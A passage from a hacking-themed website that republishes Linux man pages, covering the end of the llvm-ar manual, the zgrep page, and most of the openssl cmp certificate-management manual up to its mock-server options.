Use actual timestamps and UIDs/GIDs.

Other

–format=<type>
This option allows for default, gnu, darwin or bsd <type> to be selected. When creating an archive, <type> will default to that of the host machine.

-h, –help
Print a summary of command-line options and their meanings.

-M
This option allows for MRI scripts to be read through the standard input stream. No other options are compatible with this option.

–output=<dir>
Specify a directory where archive members should be extracted to. By default the current working directory is used.

–rsp-quoting=<type>
This option selects the quoting style ``<type>`` for response files, either
``posix`` or ``windows``. The default when on Windows is ``windows``, otherwise the
default is ``posix``.

–thin
When creating or modifying an archive, this option specifies that the archive will be thin. By default, archives are not created as thin archives and when modifying a thin archive, it will be converted to a regular archive.

–version
Display the version of the llvm-ar executable.

-X mode
Specifies the type of object file llvm-ar will recognise. The mode must be one of the following:

32
Process only 32-bit object files.

64
Process only 64-bit object files.

32_64
Process both 32-bit and 64-bit object files.

any
Process all object files.

The default is to process 32-bit object files (ignore 64-bit objects). The mode can also be set with the OBJECT_MODE environment variable. For example, OBJECT_MODE=64 causes ar to process any 64-bit objects and ignore 32-bit objects. The -X flag overrides the OBJECT_MODE variable.

@<FILE>
Read command-line options and commands from response file <FILE>.

MRI SCRIPTS

llvm-ar understands a subset of the MRI scripting interface commonly supported by archivers following in the ar tradition. An MRI script contains a sequence of commands to be executed by the archiver. The -M option allows for an MRI script to be passed to llvm-ar through the standard input stream.

Note that llvm-ar has known limitations regarding the use of MRI scripts:

  • Each script can only create one archive.

  • Existing archives can not be modified.

MRI Script Commands

Each command begins with the command’s name and must appear on its own line. Some commands have arguments, which must be separated from the name by whitespace. An MRI script should begin with either a CREATE or CREATETHIN command and will typically end with a SAVE command. Any text after either ‘*’ or ‘;’ is treated as a comment.

CREATE archive
Begin creation of a regular archive with the specified name. Subsequent commands act upon this archive.

CREATETHIN archive
Begin creation of a thin archive with the specified name. Subsequent commands act upon this archive.

ADDLIB archive
Append the contents of archive to the current archive.

ADDMOD <file>
Append <file> to the current archive.

DELETE <file>
Delete the member of the current archive whose file name, excluding directory components, matches <file>.

SAVE
Write the current archive to the path specified in the previous CREATE/CREATETHIN command.

END
Ends the MRI script (optional).

EXIT STATUS

If llvm-ar succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

687 - Linux cli command zegrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zegrep and provides detailed information about the command zegrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zegrep.

NAME 🖥️ zegrep 🖥️

search possibly compressed files for a regular expression

SYNOPSIS

zgrep [ grep_options ] [ -e ]* pattern* filename. . .

DESCRIPTION

The zgrep command invokes grep on compressed or gzipped files. All options specified are passed directly to grep. If no file is specified, then the standard input is decompressed if necessary and fed to grep. Otherwise the given files are uncompressed if necessary and fed to grep.

If the GREP environment variable is set, zgrep uses it as the grep program to be invoked.

EXIT STATUS

Exit status is 0 for a match, 1 for no matches, and 2 if trouble.

BUGS

The following grep options are not supported: –dereference-recursive (-R), –directories (-d), –exclude, –exclude-from, –exclude-dir, –include, –null (-Z), –null-data (-z), and –recursive (-r).

AUTHOR

Charles Levert ([email protected])

SEE ALSO

grep(1), gzexe(1), gzip(1), zdiff(1), zforce(1), zmore(1), znew(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

688 - Linux cli command openssl-cmpssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-cmpssl and provides detailed information about the command openssl-cmpssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-cmpssl.

NAME 🖥️ openssl-cmpssl 🖥️

cmp - Certificate Management Protocol (CMP, RFC 4210) application

SYNOPSIS

openssl cmp [-help] [-config filename] [-section names] [-verbosity level]

Generic message options:

[-cmd ir|cr|kur|p10cr|rr|genm] [-infotype name] [-geninfo OID:int:N]

Certificate enrollment options:

[-newkey filename|uri] [-newkeypass arg] [-subject name] [-days number] [-reqexts name] [-sans spec] [-san_nodefault] [-policies name] [-policy_oids names] [-policy_oids_critical] [-popo number] [-csr filename] [-out_trusted filenames|uris] [-implicit_confirm] [-disable_confirm] [-certout filename] [-chainout filename]

Certificate enrollment and revocation options:

[-oldcert filename|uri] [-issuer name] [-serial number] [-revreason number]

Message transfer options:

[-server [http[s]://][userinfo@]host[:port][/path][?query][#fragment]] [-proxy [http[s]://][userinfo@]host[:port][/path][?query][#fragment]] [-no_proxy addresses] [-recipient name] [-path remote_path] [-keep_alive value] [-msg_timeout seconds] [-total_timeout seconds]

Server authentication options:

[-trusted filenames|uris] [-untrusted filenames|uris] [-srvcert filename|uri] [-expect_sender name] [-ignore_keyusage] [-unprotected_errors] [-srvcertout filename] [-extracertsout filename] [-cacertsout filename] [-oldwithold filename] [-newwithnew filename] [-newwithold filename] [-oldwithnew filename]

Client authentication and protection options:

[-ref value] [-secret arg] [-cert filename|uri] [-own_trusted filenames|uris] [-key filename|uri] [-keypass arg] [-digest name] [-mac name] [-extracerts filenames|uris] [-unprotected_requests]

Credentials format options:

[-certform PEM|DER] [-keyform PEM|DER|P12|ENGINE] [-otherpass arg] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

Random state options:

[-rand files] [-writerand file]

TLS connection options:

[-tls_used] [-tls_cert filename|uri] [-tls_key filename|uri] [-tls_keypass arg] [-tls_extra filenames|uris] [-tls_trusted filenames|uris] [-tls_host name]

Client-side debugging options:

[-batch] [-repeat number] [-reqin filenames] [-reqin_new_tid] [-reqout filenames] [-rspin filenames] [-rspout filenames] [-use_mock_srv]

Mock server options:

[-port number] [-max_msgs number] [-srv_ref value] [-srv_secret arg] [-srv_cert filename|uri] [-srv_key filename|uri] [-srv_keypass arg] [-srv_trusted filenames|uris] [-srv_untrusted filenames|uris] [-ref_cert filename|uri] [-rsp_cert filename|uri] [-rsp_extracerts filenames|uris] [-rsp_capubs filenames|uris] [-rsp_newwithnew filename|uri] [-rsp_newwithold filename|uri] [-rsp_oldwithnew filename|uri] [-poll_count number] [-check_after number] [-grant_implicitconf] [-pkistatus number] [-failure number] [-failurebits number] [-statusstring arg] [-send_error] [-send_unprotected] [-send_unprot_err] [-accept_unprotected] [-accept_unprot_err] [-accept_raverified]

Certificate verification options, for both CMP and TLS:

[-allow_proxy_certs] [-attime timestamp] [-no_check_time] [-check_ss_sig] [-crl_check] [-crl_check_all] [-explicit_policy] [-extended_crl] [-ignore_critical] [-inhibit_any] [-inhibit_map] [-partial_chain] [-policy arg] [-policy_check] [-policy_print] [-purpose purpose] [-suiteB_128] [-suiteB_128_only] [-suiteB_192] [-trusted_first] [-no_alt_chains] [-use_deltas] [-auth_level num] [-verify_depth num] [-verify_email email] [-verify_hostname hostname] [-verify_ip ip] [-verify_name name] [-x509_strict] [-issuer_checks]

DESCRIPTION

The cmp command is a client implementation for the Certificate Management Protocol (CMP) as defined in RFC4210. It can be used to request certificates from a CA server, update their certificates, request certificates to be revoked, and perform other types of CMP requests.

OPTIONS

-help
Display a summary of all options

-config filename
Configuration file to use. An empty string "" means none. Default filename is from the environment variable OPENSSL_CONF.

-section names
Section(s) to use within config file defining CMP options. An empty string "" means no specific section. Default is cmp. Multiple section names may be given, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Contents of sections named later may override contents of sections named before. In any case, as usual, the [default] section and finally the unnamed section (as far as present) can provide per-option fallback values.

-verbosity level
Level of verbosity for logging, error output, etc. 0 = EMERG, 1 = ALERT, 2 = CRIT, 3 = ERR, 4 = WARN, 5 = NOTE, 6 = INFO, 7 = DEBUG, 8 = TRACE. Defaults to 6 = INFO.

Generic message options

-cmd ir|cr|kur|p10cr|rr|genm
CMP command to execute. Currently implemented commands are:

ir - Initialization Request

cr - Certificate Request

p10cr - PKCS#10 Certification Request (for legacy support)

kur - Key Update Request

rr - Revocation Request

genm - General Message

ir requests initialization of an end entity into a PKI hierarchy by issuing a first certificate. cr requests issuing an additional certificate for an end entity already initialized to the PKI hierarchy. p10cr requests issuing an additional certificate similarly to cr but using legacy PKCS#10 CSR format. kur requests a (key) update for an existing certificate. rr requests revocation of an existing certificate. genm requests information using a General Message, where optionally included InfoTypeAndValues may be used to state which info is of interest. Upon receipt of the General Response, information about all received ITAV infoTypes is printed to stdout.

-infotype name
Set InfoType name to use for requesting specific info in genm, e.g., signKeyPairTypes. So far, there is specific support for caCerts and rootCaCert.

-geninfo OID:int:N
generalInfo integer values to place in request PKIHeader with given OID, e.g., 1.2.3.4:int:56789.

Certificate enrollment options

-newkey filename|uri
The source of the private or public key for the certificate being requested. Defaults to the public key in the PKCS#10 CSR given with the -csr option, the public key of the reference certificate, or the current client key. The public portion of the key is placed in the certification request. Unless -cmd p10cr, -popo -1, or -popo 0 is given, the private key will be needed as well to provide the proof of possession (POPO), where the -key option may provide a fallback.

-newkeypass arg
Pass phrase source for the key given with the -newkey option. If not given here, the password will be prompted for if needed. For more information about the format of arg see openssl-passphrase-options (1).

-subject name
X.509 Distinguished Name (DN) to use as subject field in the requested certificate template in IR/CR/KUR messages. If the NULL-DN (/) is given then no subject is placed in the template. Default is the subject DN of any PKCS#10 CSR given with the -csr option. For KUR, a further fallback is the subject DN of the reference certificate (see -oldcert) if provided. This fallback is used for IR and CR only if no SANs are set. If provided and neither of -cert, -oldcert, or -csr is given, the subject DN is used as fallback sender of outgoing CMP messages. The argument must be formatted as /type0=value0/type1=value1/type2=…. Special characters may be escaped by \ (backslash); whitespace is retained. Empty values are permitted, but the corresponding type will not be included. Giving a single / will lead to an empty sequence of RDNs (a NULL-DN). Multi-valued RDNs can be formed by placing a + character instead of a / between the AttributeValueAssertions (AVAs) that specify the members of the set. Example: /DC=org/DC=OpenSSL/DC=users/UID=123456+CN=John Doe

-days number
Number of days the new certificate is requested to be valid for, counting from the current time of the host. Also triggers the explicit request that the validity period starts from the current time (as seen by the host).

-reqexts name
Name of section in OpenSSL config file defining certificate request extensions. If the -csr option is present, these extensions augment the extensions contained the given PKCS#10 CSR, overriding any extensions with same OIDs.

-sans spec
One or more IP addresses, email addresses, DNS names, or URIs separated by commas or whitespace (where in the latter case the whole argument must be enclosed in “…”) to add as Subject Alternative Name(s) (SAN) certificate request extension. If the special element “critical” is given the SANs are flagged as critical. Cannot be used if any Subject Alternative Name extension is set via -reqexts.

-san_nodefault
When Subject Alternative Names are not given via -sans nor defined via -reqexts, they are copied by default from the reference certificate (see -oldcert). This can be disabled by giving the -san_nodefault option.

-policies name
Name of section in OpenSSL config file defining policies to be set as certificate request extension. This option cannot be used together with -policy_oids.

-policy_oids names
One or more OID(s), separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”) to add as certificate policies request extension. This option cannot be used together with -policies.

-policy_oids_critical
Flag the policies given with -policy_oids as critical.

-popo number
Proof-of-possession (POPO) method to use for IR/CR/KUR; values: -1..<2> where -1 = NONE, 0 = RAVERIFIED, 1 = SIGNATURE (default), 2 = KEYENC. Note that a signature-based POPO can only be produced if a private key is provided via the -newkey or -key options.

-csr filename
PKCS#10 CSR in PEM or DER format containing a certificate request. With -cmd p10cr it is used directly in a legacy P10CR message. When used with -cmd ir, cr, or kur, it is transformed into the respective regular CMP request. In this case, a private key must be provided (with -newkey or -key) for the proof of possession (unless -popo -1 or -popo 0 is used) and the respective public key is placed in the certification request (rather than taking over the public key contained in the PKCS#10 CSR). PKCS#10 CSR input may also be used with -cmd rr to specify the certificate to be revoked via the included subject name and public key. Its subject is used as fallback sender in CMP message headers if -cert and -oldcert are not given.

-out_trusted filenames|uris
Trusted certificate(s) to use for validating the newly enrolled certificate. During this verification, any certificate status checking is disabled. Multiple sources may be given, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Each source may contain multiple certificates. The certificate verification options -verify_hostname, -verify_ip, and -verify_email only affect the certificate verification enabled via this option.

-implicit_confirm
Request implicit confirmation of newly enrolled certificates.

-disable_confirm
Do not send certificate confirmation message for newly enrolled certificate without requesting implicit confirmation to cope with broken servers not supporting implicit confirmation correctly. WARNING: This leads to behavior violating RFC 4210.

-certout filename
The file where any newly enrolled certificate should be saved.

-chainout filename
The file where the chain of any newly enrolled certificate should be saved.

Certificate enrollment and revocation options

-oldcert filename|uri
The certificate to be updated (i.e., renewed or re-keyed) in Key Update Request (KUR) messages or to be revoked in Revocation Request (RR) messages. For KUR the certificate to be updated defaults to -cert, and the resulting certificate is called reference certificate. For RR the certificate to be revoked can also be specified using -csr. -oldcert and -csr is ignored if -issuer and -serial is provided. The reference certificate, if any, is also used for deriving default subject DN and Subject Alternative Names and the default issuer entry in the requested certificate template of an IR/CR/KUR. Its public key is used as a fallback in the template of certification requests. Its subject is used as sender of outgoing messages if -cert is not given. Its issuer is used as default recipient in CMP message headers if neither -recipient, -srvcert, nor -issuer is given.

-issuer name
X.509 Distinguished Name (DN) use as issuer field in the requested certificate template in IR/CR/KUR/RR messages. If the NULL-DN (/) is given then no issuer is placed in the template. If provided and neither -recipient nor -srvcert is given, the issuer DN is used as fallback recipient of outgoing CMP messages. The argument must be formatted as /type0=value0/type1=value1/type2=…. For details see the description of the -subject option.

-serial number
Specify the Serial number of certificate to be revoked in revocation request. The serial number can be decimal or hex (if preceded by 0x)

-revreason number
Set CRLReason to be included in revocation request (RR); values: 0..10 or -1 for none (which is the default). Reason numbers defined in RFC 5280 are: CRLReason ::= ENUMERATED { unspecified (0), keyCompromise (1), cACompromise (2), affiliationChanged (3), superseded (4), cessationOfOperation (5), certificateHold (6), – value 7 is not used removeFromCRL (8), privilegeWithdrawn (9), aACompromise (10) }

Message transfer options

-server [http[s]://][userinfo@]host[:port][/path][?query][#fragment]
The host domain name or IP address and optionally port of the CMP server to connect to using HTTP(S). IP address may be for v4 or v6, such as 127.0.0.1 or [::1] for localhost. This option excludes -port and -use_mock_srv. It is ignored if -rspin is given with enough filename arguments. If the scheme https is given, the -tls_used option is implied. When TLS is used, the default port is 443, otherwise 80. The optional userinfo and fragment components are ignored. Any given query component is handled as part of the path component. If a path is included it provides the default value for the -path option.

-proxy [http[s]://][userinfo@]host[:port][/path][?query][#fragment]
The HTTP(S) proxy server to use for reaching the CMP server unless -no_proxy applies, see below. The proxy port defaults to 80 or 443 if the scheme is https; apart from that the optional http:// or https:// prefix is ignored (note that using TLS may be required by -tls_used or -server with the prefix https), as well as any path, userinfo, and query, and fragment components. Defaults to the environment variable http_proxy if set, else HTTP_PROXY in case no TLS is used, otherwise https_proxy if set, else HTTPS_PROXY. This option is ignored if -server is not given.

-no_proxy addresses
List of IP addresses and/or DNS names of servers not to use an HTTP(S) proxy for, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Default is from the environment variable no_proxy if set, else NO_PROXY. This option is ignored if -server is not given.

-recipient name
Distinguished Name (DN) to use in the recipient field of CMP request message headers, i.e., the CMP server (usually the addressed CA). The recipient field in the header of a CMP message is mandatory. If not given explicitly the recipient is determined in the following order: the subject of the CMP server certificate given with the -srvcert option, the -issuer option, the issuer of the certificate given with the -oldcert option, the issuer of the CMP client certificate (-cert option), as far as any of those is present, else the NULL-DN as last resort. The argument must be formatted as /type0=value0/type1=value1/type2=…. For details see the description of the -subject option.

-path remote_path
HTTP path at the CMP server (aka CMP alias) to use for POST requests. Defaults to any path given with -server, else "/".

-keep_alive value
If the given value is 0 then HTTP connections are closed after each response (which would be the default behavior of HTTP 1.0) even if a CMP transaction needs more than one round trip. If the value is 1 or 2 then for each transaction a persistent connection is requested. If the value is 2 then a persistent connection is required, i.e., an error occurs if the server does not grant it. The default value is 1, which means preferring to keep the connection open.

-msg_timeout seconds
Number of seconds a CMP request-response message round trip is allowed to take before a timeout error is returned. A value <= 0 means no limitation (waiting indefinitely). Default is to use the -total_timeout setting.

-total_timeout seconds
Maximum total number of seconds a transaction may take, including polling etc. A value <= 0 means no limitation (waiting indefinitely). Default is 0.

Server authentication options

-trusted filenames|uris
The certificate(s), typically of root CAs, the client shall use as trust anchors when validating signature-based protection of CMP response messages. This option is ignored if the -srvcert option is given as well. It provides more flexibility than -srvcert because the CMP protection certificate of the server is not pinned but may be any certificate from which a chain to one of the given trust anchors can be constructed. If none of -trusted, -srvcert, and -secret is given, message validation errors will be thrown unless -unprotected_errors permits an exception. Multiple sources may be given, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Each source may contain multiple certificates. The certificate verification options -verify_hostname, -verify_ip, and -verify_email have no effect on the certificate verification enabled via this option.

-untrusted filenames|uris
Non-trusted intermediate CA certificate(s). Any extra certificates given with the -cert option are appended to it. All these certificates may be useful for cert path construction for the own CMP signer certificate (to include in the extraCerts field of request messages) and for the TLS client certificate (if TLS is used) as well as for chain building when validating server certificates (checking signature-based CMP message protection) and when validating newly enrolled certificates. Multiple sources may be given, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Each source may contain multiple certificates.

-srvcert filename|uri
The specific CMP server certificate to expect and directly trust (even if it is expired) when verifying signature-based protection of CMP response messages. This pins the accepted server and results in ignoring the -trusted option. If set, the subject of the certificate is also used as default value for the recipient of CMP requests and as default value for the expected sender of CMP responses.

-expect_sender name
Distinguished Name (DN) expected in the sender field of incoming CMP messages. Defaults to the subject DN of the pinned -srvcert, if any. This can be used to make sure that only a particular entity is accepted as CMP message signer, and attackers are not able to use arbitrary certificates of a trusted PKI hierarchy to fraudulently pose as a CMP server. Note that this option gives slightly more freedom than setting the -srvcert, which pins the server to the holder of a particular certificate, while the expected sender name will continue to match after updates of the server cert. The argument must be formatted as /type0=value0/type1=value1/type2=…. For details see the description of the -subject option.

-ignore_keyusage
Ignore key usage restrictions in CMP signer certificates when validating signature-based protection of incoming CMP messages. By default, digitalSignature must be allowed by CMP signer certificates.

-unprotected_errors
Accept missing or invalid protection of negative responses from the server. This applies to the following message types and contents:

  • error messages

  • negative certificate responses (IP/CP/KUP)

  • negative revocation responses (RP)

  • negative PKIConf messages

WARNING: This setting leads to unspecified behavior and it is meant exclusively to allow interoperability with server implementations violating RFC 4210, e.g.:

  • section 5.1.3.1 allows exceptions from protecting only for special cases: “There MAY be cases in which the PKIProtection BIT STRING is deliberately not used to protect a message […] because other protection, external to PKIX, will be applied instead.”

  • section 5.3.21 is clear on ErrMsgContent: “The CA MUST always sign it with a signature key.”

  • appendix D.4 shows PKIConf message having protection

-srvcertout filename
The file where to save the successfully validated certificate, if any, that the CMP server used for signature-based response message protection. If there is no such certificate, typically because the protection was MAC-based, this is indicated by deleting the file (if it existed).

-extracertsout filename
The file where to save the list of certificates contained in the extraCerts field of the last received response message that is not a pollRep nor PKIConf.

-cacertsout filename
The file where to save the list of CA certificates contained in the caPubs field if a positive certificate response (i.e., IP, CP, or KUP) message was received or contained in a general response (genp) message with infoType caCerts.

-oldwithold filename
The root CA certificate to include in a genm request of infoType rootCaCert. If present and the optional oldWithNew certificate is received, it is verified using the newWithNew certificate as the (only) trust anchor.

-newwithnew filename
This option must be provided when -infotype rootCaCert is given. It specifies the file to save the newWithNew certificate received in a genp message of type rootCaKeyUpdate. If on success no such cert was received, this file (if present) is deleted to indicate that the requested root CA certificate update is not available. Any received newWithNew certificate is verified using any received newWithOld certificate as untrusted intermediate certificate and the certificate provided with -oldwithold as the (only) trust anchor, or if not provided, using the certificates given with the -trusted option. WARNING: The newWithNew certificate is meant to be a certificate that will be trusted. The trust placed in it cannot be stronger than the trust placed in the -oldwithold certificate if present, otherwise it cannot be stronger than the weakest trust placed in any of the -trusted certificates.

-newwithold filename
The file to save any newWithOld certificate received in a genp message of infoType rootCaKeyUpdate. If on success no such cert was received, this is indicated by deleting the file.

-oldwithnew filename
The file to save any oldWithNew certificate received in a genp message of infoType rootCaKeyUpdate. If on success no such cert was received, this is indicated by deleting the file.

Client authentication options

-ref value
Reference number/string/value to use as fallback senderKID; this is required if no sender name can be determined from the -cert or <-subject> options and is typically used when authenticating with pre-shared key (password-based MAC).

-secret arg
Provides the source of a secret value to use with MAC-based message protection. This takes precedence over the -cert and -key options. The secret is used for creating MAC-based protection of outgoing messages and for validating incoming messages that have MAC-based protection. The algorithm used by default is Password-Based Message Authentication Code (PBM) as defined in RFC 4210 section 5.1.3.1. For more information about the format of arg see openssl-passphrase-options (1).

-cert filename|uri
The client’s current CMP signer certificate. Requires the corresponding key to be given with -key. The subject and the public key contained in this certificate serve as fallback values in the certificate template of IR/CR/KUR messages. The subject of this certificate will be used as sender of outgoing CMP messages, while the subject of -oldcert or -subjectName may provide fallback values. The issuer of this certificate is used as one of the recipient fallback values and as fallback issuer entry in the certificate template of IR/CR/KUR messages. When performing signature-based message protection, this “protection certificate”, also called “signer certificate”, will be included first in the extraCerts field of outgoing messages and the signature is done with the corresponding key. In Initialization Request (IR) messages this can be used for authenticating using an external entity certificate as defined in appendix E.7 of RFC 4210. For Key Update Request (KUR) messages this is also used as the certificate to be updated if the -oldcert option is not given. If the file includes further certs, they are appended to the untrusted certs because they typically constitute the chain of the client certificate, which is included in the extraCerts field in signature-protected request messages.

-own_trusted filenames|uris
If this list of certificates is provided then the chain built for the client-side CMP signer certificate given with the -cert option is verified using the given certificates as trust anchors. Multiple sources may be given, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Each source may contain multiple certificates. The certificate verification options -verify_hostname, -verify_ip, and -verify_email have no effect on the certificate verification enabled via this option.

-key filename|uri
The corresponding private key file for the client’s current certificate given in the -cert option. This will be used for signature-based message protection unless the -secret option indicating MAC-based protection or -unprotected_requests is given. It is also used as a fallback for the -newkey option with IR/CR/KUR messages.

-keypass arg
Pass phrase source for the private key given with the -key option. Also used for -cert and -oldcert in case it is an encrypted PKCS#12 file. If not given here, the password will be prompted for if needed. For more information about the format of arg see openssl-passphrase-options (1).

-digest name
Specifies name of supported digest to use in RFC 4210’s MSG_SIG_ALG and as the one-way function (OWF) in MSG_MAC_ALG. If applicable, this is used for message protection and proof-of-possession (POPO) signatures. To see the list of supported digests, use openssl list -digest-commands. Defaults to sha256.

-mac name
Specifies the name of the MAC algorithm in MSG_MAC_ALG. To get the names of supported MAC algorithms use openssl list -mac-algorithms and possibly combine such a name with the name of a supported digest algorithm, e.g., hmacWithSHA256. Defaults to hmac-sha1 as per RFC 4210.

-extracerts filenames|uris
Certificates to append in the extraCerts field when sending messages. They can be used as the default CMP signer certificate chain to include. Multiple sources may be given, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Each source may contain multiple certificates.

-unprotected_requests
Send request messages without CMP-level protection.

Credentials format options

-certform PEM|DER
File format to use when saving a certificate to a file. Default value is PEM.

-keyform PEM|DER|P12|ENGINE
The format of the key input; unspecified by default. See “Format Options” in openssl (1) for details.

-otherpass arg
Pass phrase source for certificate given with the -trusted, -untrusted, -own_trusted, -srvcert, -out_trusted, -extracerts, -srv_trusted, -srv_untrusted, -ref_cert, -rsp_cert, -rsp_extracerts, -rsp_capubs, -rsp_newwithnew, -rsp_newwithold, -rsp_oldwithnew, -tls_extra, and -tls_trusted options. If not given here, the password will be prompted for if needed. For more information about the format of arg see openssl-passphrase-options (1).

-engine id
See “Engine Options” in openssl (1). This option is deprecated. As an alternative to using this combination: -engine {engineid} -key {keyid} -keyform ENGINE … it’s also possible to just give the key ID in URI form to -key, like this: -key org.openssl.engine:{engineid}:{keyid} This applies to all options specifying keys: -key, -newkey, and -tls_key.

Provider options

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

Random state options

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

TLS connection options

-tls_used
Make the CMP client use TLS (regardless if other TLS-related options are set) for message exchange with the server via HTTP. This option is not supported with the -port option. It is implied if the -server option is given with the scheme https. It is ignored if the -server option is not given or -use_mock_srv is given or -rspin is given with enough filename arguments. The following TLS-related options are ignored if TLS is not used.

-tls_cert filename|uri
Client’s TLS certificate to use for authenticating to the TLS server. If the source includes further certs they are used (along with -untrusted certs) for constructing the client cert chain provided to the TLS server.

-tls_key filename|uri
Private key for the client’s TLS certificate.

-tls_keypass arg
Pass phrase source for client’s private TLS key -tls_key. Also used for -tls_cert in case it is an encrypted PKCS#12 file. If not given here, the password will be prompted for if needed. For more information about the format of arg see openssl-passphrase-options (1).

-tls_extra filenames|uris
Extra certificates to provide to the TLS server during handshake.

-tls_trusted filenames|uris
Trusted certificate(s) to use for validating the TLS server certificate. This implies hostname validation. Multiple sources may be given, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). Each source may contain multiple certificates. The certificate verification options -verify_hostname, -verify_ip, and -verify_email have no effect on the certificate verification enabled via this option.

-tls_host name
Address to be checked during hostname validation. This may be a DNS name or an IP address. If not given it defaults to the -server address.

Client-side debugging options

-batch
Do not interactively prompt for input, for instance when a password is needed. This can be useful for batch processing and testing.

-repeat number
Invoke the command the given positive number of times with the same parameters. Default is one invocation.

-reqin filenames
Take the sequence of CMP requests to send to the server from the given file(s) rather than from the sequence of requests produced internally. This option is ignored if the -rspin option is given because in the latter case no requests are actually sent. Multiple filenames may be given, separated by commas and/or whitespace (where in the latter case the whole argument must be enclosed in “…”). The files are read as far as needed to complete the transaction and filenames have been provided. If more requests are needed, the remaining ones are taken from the items at the respective position in the sequence of requests produced internally. The client needs to update the recipNonce field in the given requests (except for the first one) in order to satisfy the checks to be performed by the server. This causes re-protection (if protecting requests is required).

-reqin_new_tid
Use a fresh transactionID for CMP request messages read using -reqin, which causes their reprotection (if protecting requests is required). This may be needed in case the sequence of requests is reused and the CMP server complains that the transaction ID has already been used.

-reqout filenames
Save the sequence of CMP requests created by the client to the given file(s). These requests are not sent to the server if the -reqin option is used, too. Multiple filenames may be given, separated by commas and/or whitespace. Files are written as far as needed to save the transaction and filenames have been provided. If the transaction contains more requests, the remaining ones are not saved.

-rspin filenames
Process the sequence of CMP responses provided in the given file(s), not contacting any given server, as long as enough filenames are provided to complete the transaction. Multiple filenames may be given, separated by commas and/or whitespace. Any server specified via the -server or -use_mock_srv options is contacted only if more responses are needed to complete the transaction. In this case the transaction will fail unless the server has been prepared to continue the already started transaction.

-rspout filenames
Save the sequence of actually used CMP responses to the given file(s). These have been received from the server unless -rspin takes effect. Multiple filenames may be given, separated by commas and/or whitespace. Files are written as far as needed to save the responses contained in the transaction and filenames have been provided. If the transaction contains more responses, the remaining ones are not saved.

-use_mock_srv
Test the client using the internal CMP server mock-up at API level, bypassing socket-based transfer via HTTP. This excludes the -server and -port options.

Mock server options

-port number
Act as HTTP-based CMP server mock-up listening on the given local port. The client may address the server via, e.g., 127.0.0.1 or [::1]. This option excludes the -server and -use_mock_srv options. The -rspin, -rspout, -reqin, and -reqout options so far are not supported in this mode.

-max_msgs number
Maximum number of CMP (request) messages the CMP HTTP server mock-up should handle, which must be nonnegative. The default value is 0, which means that no limit is imposed. In any case the server terminates on internal errors, but not when it detects a CMP-level error that it can successfully answer with an error message.

-srv_ref value
Reference value to use as senderKID of server in case no -srv_cert is given.

-srv_secret arg
Password source for server authentication with a pre-shared key (secret).

-srv_cert filename|uri
Certificate of the server.

-srv_key filename|uri
Private key used by the server for signing messages.

-srv_keypass arg
Server private key (and cert) file pass phrase source.

-srv_trusted filenames|uris
Trusted certificates for client authentication. The certificate verification options -verify_hostname, -verify_ip, and -verify_email have no effect on the certificate verification enabled via this option.

-srv_untrusted filenames|uris
Intermediate CA certs that may be useful when validating client certificates.

-ref_cert filename|uri
Certificate to be expected for RR messages and any oldCertID in KUR messages.

-rsp_cert filename|uri
Certificate to be returned as mock enrollment result.

-rsp_extracerts filenames|uris
Extra certificates to be included in mock certification responses.

-rsp_capubs filenames|uris
